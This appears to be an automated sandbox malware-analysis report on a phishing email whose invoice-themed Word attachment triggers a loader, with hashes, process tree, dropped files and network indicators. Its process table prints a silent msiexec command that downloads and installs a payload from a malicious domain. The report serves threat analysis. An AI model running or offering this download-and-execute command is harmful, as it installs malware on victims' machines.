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| File name: | 0a9d_0f35_5aa07f51_42d0_4d7e_a6db_ed4bc7a7f17f.eml (72.3 KB).msg |
| Full analysis: | https://app.any.run/tasks/95fd17a1-ca39-4e86-9c61-719c4baec22b |
| Verdict: | Malicious activity |
| Threats: | A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. |
| Analysis date: | November 08, 2018, 06:52:45 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/vnd.ms-outlook |
| File info: | CDFV2 Microsoft Outlook Message |
| MD5: | 1CA9CA32160DCA603FBED5CEC45AE280 |
| SHA1: | 24BA0759EE38C1F2C84A9598F2D6CBCD5DF453E7 |
| SHA256: | E5EB2EAA60D45D21C859DB536AE6F61077EABA26A662F6D299F15A5E1C6A0259 |
| SSDEEP: | 1536:4GX1vQYwGcDKY8S5GxvSt3y83D2hY2Mgmx32p:4GX1vxcaKt3R4Y2Dmxg |
MALICIOUS
Loads the Task Scheduler COM API
- WINWORD.EXE (PID: 3200)
Downloads executable files from the Internet
- msiexec.exe (PID: 3580)
Application was dropped or rewritten from another process
- btc.exe (PID: 3768)
- WMIsvc.exe (PID: 1100)
- exit.exe (PID: 536)
- exit.exe (PID: 3372)
- winserv.exe (PID: 3992)
Loads dropped or rewritten executable
- cmd.exe (PID: 4040)
Changes the autorun value in the registry
- reg.exe (PID: 3628)
SUSPICIOUS
Creates files in the user directory
- OUTLOOK.EXE (PID: 2860)
- winserv.exe (PID: 3992)
Application launched itself
- WINWORD.EXE (PID: 3200)
Starts Microsoft Office Application
- OUTLOOK.EXE (PID: 2860)
- WINWORD.EXE (PID: 3200)
Executable content was dropped or overwritten
- msiexec.exe (PID: 3580)
- WMIsvc.exe (PID: 1100)
- cmd.exe (PID: 4040)
- btc.exe (PID: 3768)
Starts CMD.EXE for commands execution
- exit.exe (PID: 536)
- exit.exe (PID: 3372)
Creates files in the program directory
- btc.exe (PID: 3768)
Uses REG.EXE to modify Windows registry
- cmd.exe (PID: 4020)
Reads Environment values
- winserv.exe (PID: 3992)
Reads Windows Product ID
- winserv.exe (PID: 3992)
Reads the machine GUID from the registry
- winserv.exe (PID: 3992)
Uses TASKKILL.EXE to kill process
- cmd.exe (PID: 4020)
Connects to unusual port
- winserv.exe (PID: 3992)
INFO
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 3200)
- OUTLOOK.EXE (PID: 2860)
- WINWORD.EXE (PID: 3572)
Creates files in the user directory
- WINWORD.EXE (PID: 3200)
Writes to a desktop.ini file (may be used to cloak folders)
- msiexec.exe (PID: 3580)
Creates a software uninstall entry
- msiexec.exe (PID: 3580)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .msg | | | Outlook Message (46.5) |
|---|---|---|
| .oft | | | Outlook Form Template (27.2) |
| .doc | | | Microsoft Word document (20.9) |
Total processes
109
Monitored processes
74
Malicious processes
4
Suspicious processes
3
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process |
|---|---|---|---|---|
| 2860 | "C:\Program Files\Microsoft Office\Office14\OUTLOOK.EXE" /f "C:\Users\admin\AppData\Local\Temp\0a9d_0f35_5aa07f51_42d0_4d7e_a6db_ed4bc7a7f17f.eml (72.3 KB).msg" | C:\Program Files\Microsoft Office\Office14\OUTLOOK.EXE | explorer.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Outlook Version: 14.0.6025.1000 | ||||
| 3200 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook\IGT6H8TZ\invoice-07 11 2018.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | OUTLOOK.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
| 3572 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Embedding | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | WINWORD.EXE |
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 | ||||
| 3616 | C:\Windows\System32\msiexec.exe VI=ssa EXE=DLL /q /norestart /i http://officesupportbox.com/WMIsvc | C:\Windows\System32\msiexec.exe | — | taskeng.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows® installer Exit code: 0 Version: 5.0.7600.16385 (win7_rtm.090713-1255) | ||||
| 3580 | C:\Windows\system32\msiexec.exe /V | C:\Windows\system32\msiexec.exe | services.exe | |
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Windows® installer Version: 5.0.7600.16385 (win7_rtm.090713-1255) | ||||
| 1100 | "C:\Users\admin\AppData\Local\Temp\Data1\WMIsvc.exe" | C:\Users\admin\AppData\Local\Temp\Data1\WMIsvc.exe | msiexec.exe | |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
| 536 | "C:\Users\admin\AppData\Local\Temp\exit.exe" | C:\Users\admin\AppData\Local\Temp\exit.exe | — | WMIsvc.exe |
User: admin Integrity Level: MEDIUM Description: Wiskas Exit code: 0 Version: 1.0.0.0 | ||||
| 4040 | cmd /c i.cmd | C:\Windows\system32\cmd.exe | exit.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
| 2924 | ping yandex.com -n 3 -w 6000 | C:\Windows\system32\PING.EXE | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: TCP/IP Ping Command Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
| 2400 | ping yandex.com -n 3 -w 6000 | C:\Windows\system32\PING.EXE | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: TCP/IP Ping Command Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
Total events
4 458
Read events
3 520
Write events
0
Delete events
0
Modification events
Executable files
8
Suspicious files
7
Text files
38
Unknown types
6
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2860 | OUTLOOK.EXE | C:\Users\admin\AppData\Local\Temp\CVR1E31.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2860 | OUTLOOK.EXE | C:\Users\admin\AppData\Local\Temp\~DFB5D36157850B7D9D.TMP | — | |
MD5:— | SHA256:— | |||
| 2860 | OUTLOOK.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook\IGT6H8TZ\invoice-07 11 2018 (2).doc\:Zone.Identifier:$DATA | — | |
MD5:— | SHA256:— | |||
| 3200 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR40AD.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 3200 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\OICE_544D07BA-15A6-4263-8D33-4849748B4910.0\95457FC0.doc\:Zone.Identifier:$DATA | — | |
MD5:— | SHA256:— | |||
| 3572 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\OICE_544D07BA-15A6-4263-8D33-4849748B4910.0\~DF84CBDBB63283A2C3.TMP | — | |
MD5:— | SHA256:— | |||
| 2860 | OUTLOOK.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$rmalEmail.dotm | pgc | |
MD5:0EC497CAA33B65DE33A688E5BDCD4B5F | SHA256:7CE018A52A12069785C75A0718FEA183E248AF8937A3022DC33E7FE90350ED9C | |||
| 3572 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\OICE_544D07BA-15A6-4263-8D33-4849748B4910.0\mso4DAE.tmp | compressed | |
MD5:5BF175220C69273EC055105056012B93 | SHA256:32A592B81172302E44620EB0103330B03C73492BDADDEFDC48B19D653D638D73 | |||
| 3200 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\OICE_544D07BA-15A6-4263-8D33-4849748B4910.0\95457FC0.doc | document | |
MD5:D5196A49F3C6B7C354CB8C76BBB60ED5 | SHA256:2003B152F09BBBF38702B7265A92E1470F8F1BFE5278B0F171B604F276A05958 | |||
| 3200 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\VBE\MSForms.exd | tlb | |
MD5:E4E945D42F3398DF7B3C472EF7CEBC89 | SHA256:189B7124DC7457025B7E72FAD81EE4C1953610450A54B2DEEDAD7230FFF338C6 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
3
DNS requests
3
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2860 | OUTLOOK.EXE | GET | — | 64.4.26.155:80 | http://config.messenger.msn.com/config/msgrconfig.asmx?op=GetOlcConfig | US | — | — | whitelisted |
3580 | msiexec.exe | GET | 200 | 185.244.130.88:80 | http://officesupportbox.com/WMIsvc | unknown | executable | 3.57 Mb | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2860 | OUTLOOK.EXE | 64.4.26.155:80 | config.messenger.msn.com | Microsoft Corporation | US | whitelisted |
3580 | msiexec.exe | 185.244.130.88:80 | officesupportbox.com | — | — | malicious |
3992 | winserv.exe | 89.144.25.16:5655 | — | GHOSTnet GmbH | DE | suspicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
config.messenger.msn.com |
| whitelisted |
officesupportbox.com |
| malicious |
yandex.com |
| whitelisted |
Threats
PID | Process | Class | Message |
|---|---|---|---|
3580 | msiexec.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Malicious behavior by evader Trojan.Script.Generic |
3580 | msiexec.exe | Misc activity | SUSPICIOUS [PTsecurity] Using msiexec.exe for Downloading non-MSI file |
1 ETPRO signatures available at the full report
Process | Message |
|---|---|
winserv.exe | Error WTSQueryUserToken #1314 |
winserv.exe | 08-11-2018_06:53:41:004#T:Error #20 @2 |